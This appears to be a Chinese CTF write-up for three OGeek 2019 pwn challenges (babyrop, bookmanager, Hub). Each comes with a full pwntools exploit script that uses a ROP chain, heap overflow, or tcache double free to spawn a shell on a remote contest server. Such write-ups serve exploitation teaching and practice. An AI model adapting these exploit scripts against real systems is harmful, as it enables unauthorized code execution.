ogeek2019_pwn

太菜了,只做出了3道pwn

babyrop

  • 利用'\x00'绕过strlen的检查,然后栈溢出rop
from pwn import *
context.log_level = 'debug'

#p = process('./babyrop')
p = remote('47.112.137.238',13337)
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')

#gdb.attach(p,'b *0x8048824')

payload = '\x00' + '\xff'*20
p.sendline(payload)

pop_ebx_ret = 0x08048519
puts_plt = elf.plt['puts']
write_got = elf.got['write']
main_addr = 0x08048825
payload = 'a'*0xe7 + p32(0xdeadbeef) + p32(puts_plt) + p32(pop_ebx_ret) + p32(write_got)
payload += p32(main_addr)
p.sendline(payload)
p.recvuntil('Correct\n')
write_addr = u32(p.recv(4))
info('write_addr : 0x%x'%write_addr)
# offset_write = 0x000d5b70
# offset_system = 0x0003ada0
# offset_str_bin_sh = 0x15ba0b
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = write_addr - offset_write
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh

payload = '\x00' + '\xff'*20
p.sendline(payload)

payload = 'a'*(0xf5-10)  + p32(system_addr) + p32(pop_ebx_ret) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

bookmanager

  • 程序本身leak堆地址,update和new text的时候有堆溢出,利用堆溢出修改堆上指向text的指针来leak,然后利用类似手法来改free_hook为system
#coding:utf-8
from pwn import *
context.log_level = 'debug'

#p = process('./bookmanager')
p = remote('47.112.115.30',13337)

def sd(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def add_chapter(chap_name):
    ru('choice:')
    sl('1')
    ru('name:')
    sl(chap_name)

def add_section(chap_name,section_name):
    ru('choice:')
    sl('2')
    ru('add into:')
    sl(chap_name)
    ru('0x')
    leak_heap = int(p.recvuntil('\n',drop=True),16)
    ru(' name:')
    sl(section_name)
    return leak_heap

def add_text(section_name,text,text_size):
    ru('choice:')
    sl('3')
    ru('add into:')
    sl(section_name)
    ru('write:')
    sl(str(text_size))
    ru('Text:')
    sl(text)

def remove_chapter(chap_name):
    ru('choice:')
    sl('4')
    ru(' name:')
    sl(chap_name)

def remove_section(section_name):
    ru('choice:')
    sl('5')
    ru(' name:')
    sl(section_name)

def remove_text(section_name):
    ru('choice:')
    sl('6')
    ru(' name:')
    sl(section_name)

def book_preview():
    ru('choice:')
    sl('7')

def updata_text(section_name,text):
    ru('choice:')
    sl('8')
    ru('ection/Text):')
    sl('Text')
    ru(' name:')
    sl(section_name)
    ru('Text:')
    sd(text)

ru('create: ')
sl('d4rk3r')

add_chapter('a')
add_section('a','b1')
add_text('b1','c1',0x20)

leak_heap = add_section('a','b2')
info('leak heap : 0x%x'%leak_heap)
add_text('b2','c2',0x80)
add_section('a','b3')
#remove_section('b2')
remove_text('b2')
remove_section('b1')
add_section('a','b1')
payload = 'a'*80 + p64(leak_heap+0x40) + '\n'
#破坏了b2_section结构体
add_text('b1',payload,0x20)
book_preview()
ru('Text:')
ru('Text:')
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
info('main_arena+88 : 0x%x'%main_arena_88)
libc_base = main_arena_88 - 88 - 0x3c4b20
info('libc_base addr:0x%x'%libc_base)
free_hook = libc_base + 0x3c67a8
system_addr = libc_base + 0x45390
add_text('b3','c3',0x80)

add_section('a','b4')
add_text('b4','c4',0x20)
add_section('a','b5')
add_text('b5','c5',0x20)
payload = '/bin/sh\x00' + p64(0)*4 + p64(0x41) + p64(0x0000000000003562) 
payload += p64(0)*3 + p64(free_hook) + p64(0x20)
updata_text('b4',payload)
updata_text('b5',p64(system_addr))
remove_text('b4')

#gdb.attach(p)
p.interactive()

Hub

  • 环境为18.04,所以有tcache,通过double free不断改fd分配一个chunk到stdout处,
    然后覆盖掉IO_FILE结构体_IO_write_base的低字节,并
    使其在下次puts时输出我们修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的数据
    以此leak libc(同时需要更改flags来绕过检测),利用相同手法改malloc_hook为one_gadget
from pwn import *
context.log_level = 'debug'

#p = process('./hub')
p = remote('47.112.139.218',13132)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def sd(x):
    p.send(x)


def malloc(size):
    ru('>>')
    sl('1')
    ru('stay?\n')
    sl(str(size))

def free(index):
    ru('>>')
    sl('2')
    ru('want?\n')
    sl(str(index))

def write(data):
    ru('>>')
    sl('3')
    ru(' want?')
    sd(data)

def m2(size):
    sl('1')
    ru('stay?\n')
    sl(str(size))

def f2(index):
    sl('2')
    ru('want?\n')
    sl(str(index))

def w2(data):
    sl('3')
    ru(' want?')
    sd(data)

#change _IO_2_1_stdout_._flags
malloc(0x70)
malloc(0x70)
malloc(0x70)
free(-0x80)
free(-0x80)
malloc(0x70)
write(p64(0x602020))
malloc(0x70)
malloc(0x70)
malloc(0x70)
write(p64(0xfbad1887))

#change stdout -> _IO_write_base
malloc(0x10)
free(0)
free(0)
malloc(0x10)
write(p64(0x602020))
malloc(0x10)
malloc(0x10)
write('\x80')

#change _IO_write_base 1 bit -> '\x00', leak libc
m2(0x20)
f2(0)
f2(0)
m2(0x20)
w2(p64(0x602020))
m2(0x20)
m2(0x20)
m2(0x20)
w2('\x00')

ru('\x00'*8)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 0x3ed8b0
info('leak_addr : 0x%x'%libc_base)
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c

#change __malloc_hook -> one_gadget
m2(0x30)
f2(0)
f2(0)
m2(0x30)
w2(p64(malloc_hook))
m2(0x30)
m2(0x30)
w2(p64(one_gadget))

sl('1')
ru(' stay?\n')
sl('1')
#gdb.attach(p)

p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容

  • 网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...
    zs0zrc阅读 1,911评论 0 4
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,222评论 0 6
  • libc2.26 之后的 Tcache 机制 1. Tcache 概述 ​ tcache是libc2.26之...
    Nevv阅读 8,344评论 0 2
  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 13,517评论 0 38
  • 一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...
    ywledoc阅读 1,496评论 0 1